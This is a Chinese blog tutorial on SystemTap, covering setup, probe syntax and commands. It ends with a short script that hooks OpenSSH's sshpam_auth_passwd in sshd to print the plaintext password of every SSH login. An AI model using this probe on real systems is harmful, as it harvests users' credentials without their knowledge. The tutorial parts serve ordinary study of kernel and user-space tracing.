systemtap使用:获取ssh登录的用户密码

Easter79
• 阅读 899

一、Systemtap概述:

        SystemTap是一个诊断Linux系统性能或功能问题的开源软件,对用户级和内核级代码提供了静态和动态跟踪的功能。Systemtap采用其他的内核框架做源:静态探针用tracepoints、动态探针用kprobes、用户级别的探针用uprobes。这些源也为perf、LTTng所用。 由于 systemtap 运行需要内核的调试信息支撑,默认发行版的内核在配置时这些调试开关没有打开,所以安装完systemtap也是无法去探测内核信息的。

        Systemtap 工作原理是通过将脚本语句翻译成C语句,编译成内核模块。模块加载之后,将所有探测的事件以钩子的方式挂到内核上,当任何处理器上的某个事件发生时,相应钩子上句柄就会被执行。最后,当systemtap会话结束之后,钩子从内核上取下,移除模块。

        工作原理如下图:

    systemtap使用:获取ssh登录的用户密码

二、PAM认证模块:

        PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于**/lib/security**)进行安全认证。openssh组件也同样采用了PAM认证模块进行身份验证。

# rpm -qa | grep openssh
openssh-clients-7.4p1-21.el7.x86_64
openssh-7.4p1-21.el7.x86_64
openssh-server-7.4p1-21.el7.x86_64
#下载对应openssh-7.4p1-21.el7的源码包,用于分析ssh登录时调用的函数:
#git clone https://github.com/openssh/openssh-portable.git

三、安装systemtap工具:

centos7.8上Systemtap的安装:

1.查看系统的配置参数:

# uname -r
3.10.0-1127.el7.x86_64
# yum install kernel-devel
# yum install systemtap
#安装 kernel/glib debug包:
#wget http://debuginfo.centos.org/7/x86_64/glibc-debuginfo-2.17-307.el7.1.x86_64.rpm
#wget http://debuginfo.centos.org/7/x86_64/glibc-debuginfo-common-2.17-307.el7.1.x86_64.rpm
#wget http://debuginfo.centos.org/7/x86_64/kernel-debuginfo-3.10.0-1127.el7.x86_64.rpm
#wget http://debuginfo.centos.org/7/x86_64/kernel-debuginfo-common-x86_64-3.10.0-1127.el7.x86_64.rpm
#rpm -ivh glibc-debuginfo-*
#rpm -ivh kernel-debuginfo-*

2.测试Systemtap安装情况:

#2.1 测试stap命令的执行情况:
# stap -V
Systemtap translator/driver (version 4.0/0.176, rpm 4.0-11.el7)
Copyright (C) 2005-2018 Red Hat, Inc. and others
This is free software; see the source for copying conditions.
tested kernel versions: 2.6.18 ... 4.19-rc7
enabled features: AVAHI BOOST_STRING_REF DYNINST BPF JAVA PYTHON2 LIBRPM LIBSQLITE3 LIBVIRT LIBXML2 NLS NSS READLINE
#2.2 测试glibc-debuginfo的执行情况:
#stap -L 'process("/lib64/libc.so.6").function("malloc")'
#process("/usr/lib64/libc-2.17.so").function("__libc_malloc@/usr/src/debug/glibc-2.17-c758a686/malloc/malloc.c:2893") $bytes:size_t
#2.3 测试kernel-debuginfo的执行情况:
#  stap -ve 'probe begin{printf("Hello, World\n"); exit();}'
Pass 1: parsed user script and 478 library scripts using 295856virt/92720res/3500shr/89724data kb, in 1100usr/60sys/1163real ms.
Pass 2: analyzed script: 1 probe, 1 function, 0 embeds, 0 globals using 298760virt/95884res/3804shr/92628data kb, in 30usr/0sys/24real ms.
Pass 3: translated to C into "/tmp/stapbt1Y9I/stap_c9b9c97399002b7b8161f7ad128e4bf1_985_src.c" using 298760virt/96316res/4212shr/92628data kb, in 0usr/0sys/14real ms.
Pass 4: compiled C into "stap_c9b9c97399002b7b8161f7ad128e4bf1_985.ko" in 10190usr/2180sys/12329real ms.
Pass 5: starting run.
Hello, World
Pass 5: run completed in 20usr/40sys/375real ms.

四、Systemtap的常用命令:

1.SYSTEMTAP探测类型

//最简单的探测类型就是跟踪事件。Systemtap支持许多内置事件,所有的事件家族见 `tapset`
//SystemTap Tapset Reference Manual
//https://sourceware.org/systemtap/tapsets/index.html
//可以探测的的常用事件:
- begin, systemtap 会话开始
- end, systemtap 会话结束
- kernel.function("sys_xxx"), 系统调用xx的入口
- kernel.function("sys_xxx").return, 系统调用xx的返回
- timer.ms(300), 每300毫秒的定时器
- timer.profile, 每个CPU上周期触发的定时器
- process("a.out").function("foo*"), a.out 中函数名前缀为foo的函数信息
- process("a.out").statement("*@main.c:200"), a.out中文件main.c 200行处的状态

常用的可打印值(具体见 tapset):
- tid(), 当前线程id
- pid(), 当前进程id
- uid(), 当前用户id
- execname(), 当前进程名称
- cpu(), 当前cpu编号
- gettimeofday_s(), 秒时间戳
- get_cycles(), 硬件周期计数器快照
- pp(), 探测点事件名称
- ppfunc(), 探测点触发的函数名称
- `$$var`, 上下文中存在 `$var`,可以使用该变量
- print_backtrace(), 打印内核栈
- print_ubacktrace(), 打印用户空间栈

2.stap 脚本

//stap 脚本简单,语法类似C;

1.注释
# fuck
// fuck
/* fuck */

2.函数
function foo() {
    // exit(); // 退出 systemtap 会话
}

3.基本的 if/else/while/for 控制结构
function if_expr() {
    i = 0
    if (i == 1)
        printf("[if] i = %d\n", i);
    else
        printf("[else] i = %d\n", i);
}

function while_expr() {
    i = 0;
    while (i != 2)
        printf("[while] i = %d\n", i++);
}

function for_expr() {
    for (i = 0; i < 2; i++)
        printf("[for] i = %d\n", i);
}

4.字符串比较,拼接,转换

function str() {
    uid = uid();
    s_uid = sprint(uid);
    f_uid = "fuck" . s_uid
    printf("uid: %d-%s-%s\n", uid, s_uid); // uid: 0-0-fuck0

    // exit();
}

5.元组

global t; // 声明元组
global tpl[400]; // 声明一个400容量的元组

t["fuck"]++;  // t["fuck"] 初始值默认为0, ++ 变成 1
t["fuck"] = 4396; // 赋值为4396

tpl["fuck", pid()]++; // 两个元素
tpl["shit", tid()]++;

6.聚集统计

// 包含4个维度 @count @avg @min @max
global t;

t["fuck", tid()] <<< 1
t["fuck", pid()] <<< 1
t[execname(), tid()] <<< 1
t["fuck", 5487] <<< 2
t["fuck", 5487] <<< 3
t["fuck", 5487] <<< 1

具体结构如下:
t["fuck",5487] @count=3 @min=1 @max=3 @sum=6 @avg=2
t["fuck",26060] @count=2 @min=1 @max=1 @sum=2 @avg=1
t["stapio",26060] @count=1 @min=1 @max=1 @sum=1 @avg=1


// 遍历(升序), 限制5次循环
foreach([key, value] in t+ limit 5)
    printf("%s: %d\n", key, value)

// 结果
stapio: 2571
fuck: 2571
fuck: 5487

3.probe语法

//probe probe-point { statement }  statement就是该探测点的处理逻辑
//探测点语法:
kernel.function(PATTERN)
kernel.function(PATTERN).call
kernel.function(PATTERN).return
kernel.function(PATTERN).return.maxactive(VALUE)
kernel.function(PATTERN).inline
kernel.function(PATTERN).label(LPATTERN)
    
module(MPATTERN).function(PATTERN)
module(MPATTERN).function(PATTERN).call
module(MPATTERN).function(PATTERN).return.maxactive(VALUE)
module(MPATTERN).function(PATTERN).inline
kernel.statement(PATTERN)
kernel.statement(ADDRESS).absolute
    
module(MPATTERN).statement(PATTERN)
process(PROCESSPATH).function(PATTERN)
process(PROCESSPATH).function(PATTERN).call
process(PROCESSPATH).function(PATTERN).return
process(PROCESSPATH).function(PATTERN).inline
process(PROCESSPATH).statement(PATTERN)
    
//PATTERN语法为:
func[@file]
func@file:linenumber
//示例:
kernel.function("*init*")
module("ext3").function("*")
kernel.statement("*@kernel/time.c:296")
process("/home/admin/tengine/bin/nginx").function("ngx_http_process_request")

4.stap 常用命令

Usage: stap [options] FILE                    Run script in file.
   or: stap [options] -e SCRIPT               Run given script.
   or: stap [options] -l PROBE                List matching probes.
   or: stap [options] -L PROBE                List matching probes and local variables.
[options]
   -T TIME    terminate the script after TIME seconds
   
#除了直接执行脚本文件外,另外一个比较有用的功能 -L -l 现象,列出可探测点及局部变量
#列出程序中的可探测点

// 截取部分~
[root@localhost stp]# stap -l 'process("/tmp/limlog/build/tests/LogTest").function("*")'
process("/tmp/limlog/build/tests/LogTest").function("write@/tmp/limlog/limlog/Log.cpp:107")
process("/tmp/limlog/build/tests/LogTest").function("~LimLog@/tmp/limlog/limlog/Log.cpp:213")
process("/tmp/limlog/build/tests/LogTest").function("~LogLine@/tmp/limlog/limlog/Log.cpp:341")
process("/tmp/limlog/build/tests/LogTest").function("~LogSink@/tmp/limlog/limlog/Log.cpp:59")
process("/tmp/limlog/build/tests/LogTest").function("~_Impl@/usr/include/c++/4.8.2/thread:107")
process("/tmp/limlog/build/tests/LogTest").function("~_Impl_base@/usr/include/c++/4.8.2/thread:97")


#注意:要是函数没有返回你要找的变量,那就看它有没有把这个函数传给其他函数了,如果传那就在其他函数里面获取,没有的话就只能反汇编这个函数,再看这个函数把这个变量地址放在哪个寄存器上,再通过这个寄存器得到变量的地址来获取这个变量的内容。
#获取局部变量的方法:
#方法1:列出程序中的可探测点及局部变量(直接使用前缀为$)
#方法2:一些被编译器优化掉的函数参数用-L去看的时候没有找到,这样的话在探测点里面也不能直接用$方式获取该参数变量,这时可以使用SystemTap提供的*_arg函数接口,*是根据类型指定的,比如pointer_arg是获取指针类型参数,int_arg是获取整型参数,类似的还有long_arg、longlong_arg、uint_arg、ulong_arg、ulonglong_arg、s32_arg、s64_arg、u32_arg、u64_arg
#有这个功能,我们就可以看到函数所在源文件中的位置及可以使用的局部变量。
[root@localhost stp]# stap -L 'process("/tmp/limlog/build/tests/LogTest").function("*")'
process("/tmp/limlog/build/tests/LogTest").function("id@/usr/include/c++/4.8.2/thread:73") $this:class id* const
process("/tmp/limlog/build/tests/LogTest").function("incConsumable@/tmp/limlog/limlog/Log.cpp:313") $this:class LimLog* const $n:uint32_t
process("/tmp/limlog/build/tests/LogTest").function("incConsumablePos@/tmp/limlog/limlog/Log.cpp:135") $this:class BlockingBuffer* const $n:uint32_t
process("/tmp/limlog/build/tests/LogTest").function("incConsumablePos@/tmp/limlog/limlog/Log.cpp:460") $n:uint32_t
process("/tmp/limlog/build/tests/LogTest").function("insert@/usr/include/c++/4.8.2/bits/basic_string.h:1319") $__c:char $__n:size_type $__pos:size_type $this:class basic_string<char, std::char_traits<char>, std::allocator<char> >* const

五、测试用例(获取ssh远程访问用户密码):

1.分析openssh-7.4p1-21.el7源码包中关于密码验证部分的函数(auth-pam.c auth-pam.h auth-passwd.c):

//auth-pam.c文件中通过sshpam_auth_passwd函数调用PAM认证
/*
 * Attempt password authentication via PAM
 */
int
sshpam_auth_passwd(Authctxt *authctxt, const char *password)
{
        int flags = (options.permit_empty_passwd == 0 ?
            PAM_DISALLOW_NULL_AUTHTOK : 0);
        char *fake = NULL;

        if (!options.use_pam || sshpam_handle == NULL)
                fatal("PAM: %s called when PAM disabled or failed to "
                    "initialise.", __func__);

        sshpam_password = password;
        sshpam_authctxt = authctxt;
...
//auth-pam.h文件中定义函数的参数类型,注意password变量为arg2的字符变量指针
int sshpam_auth_passwd(Authctxt *, const char *);
//auth-passwd.c文件中在passwd认证中如果使用PAM认证,则返回sshpam_auth_passwd方法
#ifdef USE_PAM
        if (options.use_pam)
                return (sshpam_auth_passwd(authctxt, password) && ok);
#endif

2.使用stap命令测试process point的函数:

#stap正常返回,说明sshpam_auth_passwd函数挂载正常
# stap -l 'process("/usr/sbin/sshd").function("*")' | grep sshpam_auth_passwd
process("/usr/sbin/sshd").function("sshpam_auth_passwd")
#根据上面的源码分析可以得知,我们要获取password值,需要获取arg2位置的内存变量,所以tapset可以通过下面的测试用例:
# cat capture_sshpass.stp 
#!/usr/bin/stap
probe process("/usr/sbin/sshd").function("sshpam_auth_passwd").call
{
    printf("password=%p(%s)\n",pointer_arg(2),kernel_string(pointer_arg(2)));
}

3.验证是否能获取用户密码:

# cat capture_sshpass.stp
#!/usr/bin/stap
probe process("/usr/sbin/sshd").function("sshpam_auth_passwd").call
{
    printf("password=%p(%s)\n",pointer_arg(2),kernel_string(pointer_arg(2)));
}

systemtap使用:获取ssh登录的用户密码

systemtap使用:获取ssh登录的用户密码

六、总结

通过本次的测试用例的编写和实现,对systemtap这个工具有了更深刻的理解。 SystemTap同时也是一个深入检查Linux系统活动的工具,使用该工具编写一些简单的代码就可以轻松的提取应用或内核的运行数据,以诊断复杂的性能或者功能问题。

本文引用了较多博客链接的内容,如有遗漏,请见谅。

#SystemTap使用技巧
https://blog.csdn.net/chiqiankuan0816/article/details/101003832
#动态追踪技术之SystemTap
https://my.oschina.net/u/4322890/blog/4326029
#SYSTEMTAP  Examples by Keyword
https://sourceware.org/systemtap/tapsets/
https://sourceware.org/systemtap/examples/keyword-index.html
点赞
收藏
评论区
推荐文章
blmius blmius
3年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
待兔 待兔
3个月前
手写Java HashMap源码
HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22
Jacquelyn38 Jacquelyn38
3年前
2020年前端实用代码段,为你的工作保驾护航
有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )
Easter79 Easter79
3年前
Twitter的分布式自增ID算法snowflake (Java版)
概述分布式系统中,有一些需要使用全局唯一ID的场景,这种时候为了防止ID冲突可以使用36位的UUID,但是UUID有一些缺点,首先他相对比较长,另外UUID一般是无序的。有些时候我们希望能使用一种简单一些的ID,并且希望ID能够按照时间有序生成。而twitter的snowflake解决了这种需求,最初Twitter把存储系统从MySQL迁移
Easter79 Easter79
3年前
SystemTap使用技巧
1.简介SystemTap是一个Linux非常有用的调试(跟踪/探测)工具,常用于Linux内核或者应用程序的信息采集,比如:获取一个函数里面运行时的变量、调用堆栈,甚至可以直接修改变量的值,对诊断性能或功能问题非常有帮助。SystemTap提供非常简单的命令行接口和很简洁的脚本语
Wesley13 Wesley13
3年前
00:Java简单了解
浅谈Java之概述Java是SUN(StanfordUniversityNetwork),斯坦福大学网络公司)1995年推出的一门高级编程语言。Java是一种面向Internet的编程语言。随着Java技术在web方面的不断成熟,已经成为Web应用程序的首选开发语言。Java是简单易学,完全面向对象,安全可靠,与平台无关的编程语言。
Stella981 Stella981
3年前
Django中Admin中的一些参数配置
设置在列表中显示的字段,id为django模型默认的主键list_display('id','name','sex','profession','email','qq','phone','status','create_time')设置在列表可编辑字段list_editable
Wesley13 Wesley13
3年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
Python进阶者 Python进阶者
9个月前
Excel中这日期老是出来00:00:00,怎么用Pandas把这个去除
大家好,我是皮皮。一、前言前几天在Python白银交流群【上海新年人】问了一个Pandas数据筛选的问题。问题如下:这日期老是出来00:00:00,怎么把这个去除。二、实现过程后来【论草莓如何成为冻干莓】给了一个思路和代码如下:pd.toexcel之前把这
Easter79
Easter79
Lv1
今生可爱与温柔,每一样都不能少。
文章
2.8k
粉丝
5
获赞
1.2k